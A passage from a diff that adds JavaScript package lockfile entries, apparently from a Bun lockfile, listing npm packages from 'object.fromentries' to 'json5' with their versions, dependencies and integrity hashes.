"object.fromentries": "^2.0.8", "object.values": "^1.2.1", "prop-types": "^15.8.1", "resolve": "^2.0.0-next.5", "semver": "^6.3.1", "string.prototype.matchall": "^4.0.12", "string.prototype.repeat": "^1.0.0" }, "peerDependencies": { "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7" } }, "sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA=="], + + "eslint-plugin-react-hooks": ["eslint-plugin-react-hooks@5.0.0-canary-7118f5dd7-20230705", "", { "peerDependencies": { "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0" } }, "sha512-AZYbMo/NW9chdL7vk6HQzQhT+PvTAEVqWk9ziruUoW2kAOcN5qNyelv70e0F1VNQAbvutOC9oc+xfWycI9FxDw=="], + + "eslint-scope": ["eslint-scope@7.2.2", "", { "dependencies": { "esrecurse": "^4.3.0", "estraverse": "^5.2.0" } }, "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg=="], + + "eslint-visitor-keys": ["eslint-visitor-keys@3.4.3", "", {}, "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag=="], + + "espree": ["espree@9.6.1", "", { "dependencies": { "acorn": "^8.9.0", "acorn-jsx": "^5.3.2", "eslint-visitor-keys": "^3.4.1" } }, "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ=="], + + "esquery": ["esquery@1.7.0", "", { "dependencies": { "estraverse": "^5.1.0" } }, "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g=="], + + "esrecurse": ["esrecurse@4.3.0", "", { "dependencies": { "estraverse": "^5.2.0" } }, "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag=="], + + "estraverse": ["estraverse@5.3.0", "", {}, "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA=="], + + "esutils": ["esutils@2.0.3", "", {}, "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g=="], + + "exsolve": ["exsolve@1.0.8", "", {}, "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA=="], + + "fast-check": ["fast-check@3.23.2", "", { "dependencies": { "pure-rand": "^6.1.0" } }, "sha512-h5+1OzzfCC3Ef7VbtKdcv7zsstUQwUDlYpUTvjeUsJAssPgLn7QzbboPtL5ro04Mq0rPOsMzl7q5hIbRs2wD1A=="], + + "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="], + + "fast-glob": ["fast-glob@3.3.3", "", { "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.8" } }, "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg=="], + + "fast-json-stable-stringify": ["fast-json-stable-stringify@2.1.0", "", {}, "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="], + + "fast-levenshtein": ["fast-levenshtein@2.0.6", "", {}, "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw=="], + + "fastq": ["fastq@1.20.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw=="], + + "fdir": ["fdir@6.5.0", "", { "peerDependencies": { "picomatch": "^3 || ^4" } }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="], + + "file-entry-cache": ["file-entry-cache@6.0.1", "", { "dependencies": { "flat-cache": "^3.0.4" } }, "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg=="], + + "fill-range": ["fill-range@7.1.1", "", { "dependencies": { "to-regex-range": "^5.0.1" } }, "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg=="], + + "find-up": ["find-up@5.0.0", "", { "dependencies": { "locate-path": "^6.0.0", "path-exists": "^4.0.0" } }, "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng=="], + + "flat-cache": ["flat-cache@3.2.0", "", { "dependencies": { "flatted": "^3.2.9", "keyv": "^4.5.3", "rimraf": "^3.0.2" } }, "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw=="], + + "flatted": ["flatted@3.3.3", "", {}, "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg=="], + + "for-each": ["for-each@0.3.5", "", { "dependencies": { "is-callable": "^1.2.7" } }, "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg=="], + + "foreground-child": ["foreground-child@3.3.1", "", { "dependencies": { "cross-spawn": "^7.0.6", "signal-exit": "^4.0.1" } }, "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw=="], + + "fs.realpath": ["fs.realpath@1.0.0", "", {}, "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="], + + "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], + + "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], + + "function.prototype.name": ["function.prototype.name@1.1.8", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "functions-have-names": "^1.2.3", "hasown": "^2.0.2", "is-callable": "^1.2.7" } }, "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q=="], + + "functions-have-names": ["functions-have-names@1.2.3", "", {}, "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ=="], + + "generate-function": ["generate-function@2.3.1", "", { "dependencies": { "is-property": "^1.0.2" } }, "sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ=="], + + "generator-function": ["generator-function@2.0.1", "", {}, "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g=="], + + "get-caller-file": ["get-caller-file@2.0.5", "", {}, "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="], + + "get-intrinsic": ["get-intrinsic@1.3.0", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "function-bind": "^1.1.2", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-symbols": "^1.1.0", "hasown": "^2.0.2", "math-intrinsics": "^1.1.0" } }, "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ=="], + + "get-port-please": ["get-port-please@3.2.0", "", {}, "sha512-I9QVvBw5U/hw3RmWpYKRumUeaDgxTPd401x364rLmWBJcOQ753eov1eTgzDqRG9bqFIfDc7gfzcQEWrUri3o1A=="], + + "get-proto": ["get-proto@1.0.1", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-object-atoms": "^1.0.0" } }, "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g=="], + + "get-symbol-description": ["get-symbol-description@1.1.0", "", { "dependencies": { "call-bound": "^1.0.3", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6" } }, "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg=="], + + "get-tsconfig": ["get-tsconfig@4.13.6", "", { "dependencies": { "resolve-pkg-maps": "^1.0.0" } }, "sha512-shZT/QMiSHc/YBLxxOkMtgSid5HFoauqCE3/exfsEcwg1WkeqjG+V40yBbBrsD+jW2HDXcs28xOfcbm2jI8Ddw=="], + + "giget": ["giget@2.0.0", "", { "dependencies": { "citty": "^0.1.6", "consola": "^3.4.0", "defu": "^6.1.4", "node-fetch-native": "^1.6.6", "nypm": "^0.6.0", "pathe": "^2.0.3" }, "bin": "dist/cli.mjs" }, "sha512-L5bGsVkxJbJgdnwyuheIunkGatUF/zssUoxxjACCseZYAVbaqdh9Tsmmlkl8vYan09H7sbvKt4pS8GqKLBrEzA=="], + + "glob": ["glob@10.3.10", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^2.3.5", "minimatch": "^9.0.1", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0", "path-scurry": "^1.10.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-fa46+tv1Ak0UPK1TOy/pZrIybNNt4HCv7SDzwyfiOZkvZLEbjsZkJBPtDHVshZjbecAoAGSC20MjLDG/qr679g=="], + + "glob-parent": ["glob-parent@6.0.2", "", { "dependencies": { "is-glob": "^4.0.3" } }, "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A=="], + + "globals": ["globals@13.24.0", "", { "dependencies": { "type-fest": "^0.20.2" } }, "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ=="], + + "globalthis": ["globalthis@1.0.4", "", { "dependencies": { "define-properties": "^1.2.1", "gopd": "^1.0.1" } }, "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ=="], + + "gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="], + + "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="], + + "grammex": ["grammex@3.1.12", "", {}, "sha512-6ufJOsSA7LcQehIJNCO7HIBykfM7DXQual0Ny780/DEcJIpBlHRvcqEBWGPYd7hrXL2GJ3oJI1MIhaXjWmLQOQ=="], + + "graphemer": ["graphemer@1.4.0", "", {}, "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag=="], + + "graphmatch": ["graphmatch@1.1.1", "", {}, "sha512-5ykVn/EXM1hF0XCaWh05VbYvEiOL2lY1kBxZtaYsyvjp7cmWOU1XsAdfQBwClraEofXDT197lFbXOEVMHpvQOg=="], + + "has-bigints": ["has-bigints@1.1.0", "", {}, "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg=="], + + "has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="], + + "has-property-descriptors": ["has-property-descriptors@1.0.2", "", { "dependencies": { "es-define-property": "^1.0.0" } }, "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg=="], + + "has-proto": ["has-proto@1.2.0", "", { "dependencies": { "dunder-proto": "^1.0.0" } }, "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ=="], + + "has-symbols": ["has-symbols@1.1.0", "", {}, "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="], + + "has-tostringtag": ["has-tostringtag@1.0.2", "", { "dependencies": { "has-symbols": "^1.0.3" } }, "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw=="], + + "hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], + + "hono": ["hono@4.11.4", "", {}, "sha512-U7tt8JsyrxSRKspfhtLET79pU8K+tInj5QZXs1jSugO1Vq5dFj3kmZsRldo29mTBfcjDRVRXrEZ6LS63Cog9ZA=="], + + "http-status-codes": ["http-status-codes@2.3.0", "", {}, "sha512-RJ8XvFvpPM/Dmc5SV+dC4y5PCeOhT3x1Hq0NU3rjGeg5a/CqlhZ7uudknPwZFz4aeAXDcbAyaeP7GAo9lvngtA=="], + + "iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="], + + "ignore": ["ignore@5.3.2", "", {}, "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g=="], + + "import-fresh": ["import-fresh@3.3.1", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ=="], + + "imurmurhash": ["imurmurhash@0.1.4", "", {}, "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA=="], + + "inflight": ["inflight@1.0.6", "", { "dependencies": { "once": "^1.3.0", "wrappy": "1" } }, "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA=="], + + "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], + + "internal-slot": ["internal-slot@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "hasown": "^2.0.2", "side-channel": "^1.1.0" } }, "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw=="], + + "is-array-buffer": ["is-array-buffer@3.0.5", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "get-intrinsic": "^1.2.6" } }, "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A=="], + + "is-async-function": ["is-async-function@2.1.1", "", { "dependencies": { "async-function": "^1.0.0", "call-bound": "^1.0.3", "get-proto": "^1.0.1", "has-tostringtag": "^1.0.2", "safe-regex-test": "^1.1.0" } }, "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ=="], + + "is-bigint": ["is-bigint@1.1.0", "", { "dependencies": { "has-bigints": "^1.0.2" } }, "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ=="], + + "is-binary-path": ["is-binary-path@2.1.0", "", { "dependencies": { "binary-extensions": "^2.0.0" } }, "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw=="], + + "is-boolean-object": ["is-boolean-object@1.2.2", "", { "dependencies": { "call-bound": "^1.0.3", "has-tostringtag": "^1.0.2" } }, "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A=="], + + "is-bun-module": ["is-bun-module@2.0.0", "", { "dependencies": { "semver": "^7.7.1" } }, "sha512-gNCGbnnnnFAUGKeZ9PdbyeGYJqewpmc2aKHUEMO5nQPWU9lOmv7jcmQIv+qHD8fXW6W7qfuCwX4rY9LNRjXrkQ=="], + + "is-callable": ["is-callable@1.2.7", "", {}, "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA=="], + + "is-core-module": ["is-core-module@2.16.1", "", { "dependencies": { "hasown": "^2.0.2" } }, "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w=="], + + "is-data-view": ["is-data-view@1.0.2", "", { "dependencies": { "call-bound": "^1.0.2", "get-intrinsic": "^1.2.6", "is-typed-array": "^1.1.13" } }, "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw=="], + + "is-date-object": ["is-date-object@1.1.0", "", { "dependencies": { "call-bound": "^1.0.2", "has-tostringtag": "^1.0.2" } }, "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg=="], + + "is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="], + + "is-finalizationregistry": ["is-finalizationregistry@1.1.1", "", { "dependencies": { "call-bound": "^1.0.3" } }, "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg=="], + + "is-fullwidth-code-point": ["is-fullwidth-code-point@3.0.0", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="], + + "is-generator-function": ["is-generator-function@1.1.2", "", { "dependencies": { "call-bound": "^1.0.4", "generator-function": "^2.0.0", "get-proto": "^1.0.1", "has-tostringtag": "^1.0.2", "safe-regex-test": "^1.1.0" } }, "sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA=="], + + "is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="], + + "is-map": ["is-map@2.0.3", "", {}, "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw=="], + + "is-negative-zero": ["is-negative-zero@2.0.3", "", {}, "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw=="], + + "is-number": ["is-number@7.0.0", "", {}, "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="], + + "is-number-object": ["is-number-object@1.1.1", "", { "dependencies": { "call-bound": "^1.0.3", "has-tostringtag": "^1.0.2" } }, "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw=="], + + "is-path-inside": ["is-path-inside@3.0.3", "", {}, "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ=="], + + "is-property": ["is-property@1.0.2", "", {}, "sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g=="], + + "is-regex": ["is-regex@1.2.1", "", { "dependencies": { "call-bound": "^1.0.2", "gopd": "^1.2.0", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g=="], + + "is-set": ["is-set@2.0.3", "", {}, "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg=="], + + "is-shared-array-buffer": ["is-shared-array-buffer@1.0.4", "", { "dependencies": { "call-bound": "^1.0.3" } }, "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A=="], + + "is-string": ["is-string@1.1.1", "", { "dependencies": { "call-bound": "^1.0.3", "has-tostringtag": "^1.0.2" } }, "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA=="], + + "is-symbol": ["is-symbol@1.1.1", "", { "dependencies": { "call-bound": "^1.0.2", "has-symbols": "^1.1.0", "safe-regex-test": "^1.1.0" } }, "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w=="], + + "is-typed-array": ["is-typed-array@1.1.15", "", { "dependencies": { "which-typed-array": "^1.1.16" } }, "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ=="], + + "is-weakmap": ["is-weakmap@2.0.2", "", {}, "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w=="], + + "is-weakref": ["is-weakref@1.1.1", "", { "dependencies": { "call-bound": "^1.0.3" } }, "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew=="], + + "is-weakset": ["is-weakset@2.0.4", "", { "dependencies": { "call-bound": "^1.0.3", "get-intrinsic": "^1.2.6" } }, "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ=="], + + "isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="], + + "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], + + "iterator.prototype": ["iterator.prototype@1.1.5", "", { "dependencies": { "define-data-property": "^1.1.4", "es-object-atoms": "^1.0.0", "get-intrinsic": "^1.2.6", "get-proto": "^1.0.0", "has-symbols": "^1.1.0", "set-function-name": "^2.0.2" } }, "sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g=="], + + "jackspeak": ["jackspeak@2.3.6", "", { "dependencies": { "@isaacs/cliui": "^8.0.2" }, "optionalDependencies": { "@pkgjs/parseargs": "^0.11.0" } }, "sha512-N3yCS/NegsOBokc8GAdM8UcmfsKiSS8cipheD/nivzr700H+nsMOxJjQnvwOcRYVuFkdH0wGUvW2WbXGmrZGbQ=="], + + "jiti": ["jiti@1.21.7", "", { "bin": "bin/jiti.js" }, "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A=="], + + "jose": ["jose@4.15.9", "", {}, "sha512-1vUQX+IdDMVPj4k8kOxgUqlcK518yluMuGZwqlr44FS1ppZB/5GWh4rZG89erpOBOJjU/OBsnCVFfapsRz6nEA=="], + + "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], + + "js-yaml": ["js-yaml@4.1.1", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": "bin/js-yaml.js" }, "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA=="], + + "json-buffer": ["json-buffer@3.0.1", "", {}, "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="], + + "json-schema-traverse": ["json-schema-traverse@0.4.1", "", {}, "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="], + + "json-stable-stringify-without-jsonify": ["json-stable-stringify-without-jsonify@1.0.1", "", {}, "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw=="], + + "json5": ["json5@1.0.2", "", { "dependencies": { "minimist": "^1.2.0" }, "bin": 